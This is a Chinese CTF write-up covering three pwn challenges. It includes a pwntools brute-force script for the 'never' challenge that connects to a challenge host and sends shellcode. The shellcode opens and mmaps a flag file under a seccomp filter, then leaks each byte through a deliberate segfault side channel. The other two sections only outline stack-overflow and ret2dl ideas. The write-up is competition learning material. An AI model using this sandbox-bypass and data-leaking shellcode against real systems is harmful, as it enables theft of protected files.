good_night
初看朝阳东升,不解题中意,再看四野寂寂,已成题中人
指早八看到这道题晚八还没解出来,good night
程序有栈溢出,反复地读然后复制到会越界的地方,约等于一个多一字节溢出,可以把返回地址改成leave ret
然后给了一个bss段读,可以进行布置,开始rop。
题目说预期解是ret2ld,又提示可以考虑使用ret2dl来泄漏libc地址,再提示ret2dl不单可以调用函数也可以尝试调用libc中的gadget,总结下来就是不会
never
一个沙盒环境,禁了execve、read、write及部分变体,然后给了一个固定的页并执行
考虑ORW,open没有禁,read可以用mmap映射完成读,但是w缺失,考虑用一些状态间接反应
调试时发现程序段错误会有输出,启动脚本会报错,所以经过设计,逐字节mmap 当前目录下的flag文件,然后和指定字符比较,如果一致转去执行一个触发段错误的指令,不一致则exit,无报错输出
然后爆破:
from pwn import *
context(arch='amd64', os='linux', log_level='debug',terminal = ['tmux', 'splitw', '-h'])
HOST = '47.98.117.93'
PORT = 53698
def test_char(position=0, test_value=102):
"""测试指定位置的字符是否等于test_value"""
log.info(f"测试: flag[{position}] == {test_value} ('{chr(test_value)}')?")
s = remote(HOST, PORT)
s.recvuntil(b"ideas!")
shellcode = asm(f'''
mov r14, 0xDEADB800
mov dword ptr [r14], 0x67616c66
mov r15, 0xDEADB100
mov byte ptr [r15], 0x0f
mov byte ptr [r15+1], 0x05
mov byte ptr [r15+2], 0xc3
mov rdi, 0xDEADB800
xor rsi, rsi
mov rax, 2
call r15
mov r12, rax
xor rdi, rdi
mov rsi, 100
mov rdx, 1
mov r10, 2
mov r8, r12
xor r9, r9
mov rax, 9
call r15
mov rbx, rax
add rbx, {position}
mov dl, byte ptr [rbx]
mov cl, {test_value}
cmp dl, cl
je crash
xor rdi, rdi
mov rax, 60
call r15
crash:
mov rax, 0xdeadbeef
mov rbx, qword ptr [rax]
''')
s.send(shellcode.ljust(0x200, b'\x90'))
s.interactive()
if __name__ == '__main__':
test_char(?,?)
magic
除了一个栈溢出似乎什么也没有
提示需要用到两个magic gadget
找了半天只找到一个add DWORD PTR [rbp-0x3d],ebx,不会用
总结
坏消息是只解出一道题
好消息是pwn的三道题除了这道never都是0解,magic甚至官方没放wp(打算明年接着用……